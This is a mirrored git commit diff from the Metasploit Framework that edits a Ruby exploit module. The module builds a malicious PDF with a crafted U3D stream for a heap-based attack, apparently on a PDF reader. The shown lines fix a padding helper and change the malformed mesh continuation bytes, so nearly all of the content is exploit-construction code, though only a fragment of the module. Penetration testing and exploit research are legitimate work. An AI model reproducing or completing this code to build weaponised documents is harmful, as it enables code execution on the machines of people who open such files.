mirror of
https://github.com/rapid7/metasploit-framework
synced 2024-11-12 11:52:01 +01:00
minor cleanups, fixed u3d_pad function
git-svn-id: file:///home/svn/framework3/trunk@7626 4d416f70-5f16-0410-b530-b9f4589650da
This commit is contained in:
parent
d6a732d619
commit
623f3b88ec
@ -230,7 +230,7 @@ Original notes on heap technique used in this exploit:
|
||||
}).to_s
|
||||
|
||||
# create the u3d stuff
|
||||
u3d = make_u3d_stream(target['Size'], rand_text_alpha(rand(32)+4))
|
||||
u3d = make_u3d_stream(target['Size'], rand_text_alpha(rand(28)+4))
|
||||
|
||||
# Create the pdf
|
||||
pdf = make_pdf(u3d, js_doc, js_pg1)
|
||||
@ -290,7 +290,7 @@ Original notes on heap technique used in this exploit:
|
||||
|
||||
def u3d_pad(str, char="\x00")
|
||||
ret = ""
|
||||
if (str.length % 4)
|
||||
if (str.length % 4) > 0
|
||||
ret << char * (4 - (str.length % 4))
|
||||
end
|
||||
return ret
|
||||
@ -364,25 +364,10 @@ Original notes on heap technique used in this exploit:
|
||||
cont_data << meshname
|
||||
cont_data << [0].pack('V') # chain idx
|
||||
cont_data << [0].pack('V') # start resolution
|
||||
cont_data << [0].pack('V') # end resolution
|
||||
cont_data << [0].pack('V') # split position index
|
||||
# new diffuse color info
|
||||
cont_data << [1].pack('v') # count
|
||||
cont_data << "\x00" # difference sign
|
||||
cont_data << "\x00" # pad
|
||||
cont_data << [1].pack('V')
|
||||
cont_data << [1].pack('V')
|
||||
cont_data << [1].pack('V')
|
||||
cont_data << [1].pack('V')
|
||||
# new specular color info
|
||||
cont_data << [1].pack('v') # count
|
||||
cont_data << "\x00" # sign
|
||||
cont_data << "\x00" # pad
|
||||
cont_data << [1].pack('V')
|
||||
cont_data << [1].pack('V')
|
||||
cont_data << [1].pack('V')
|
||||
cont_data << [1].pack('V')
|
||||
# new texture coord info
|
||||
cont_data << [0].pack('V') # end resolution
|
||||
# no resolution update, unknown data follows
|
||||
cont_data << [0].pack('V')
|
||||
cont_data << [1].pack('V') * 10
|
||||
mesh_cont = [0xffffff3c,cont_data.length,0].pack('VVV')
|
||||
mesh_cont << cont_data
|
||||
mesh_cont << u3d_pad(cont_data)
|
||||
|
Loading…
Reference in New Issue
Block a user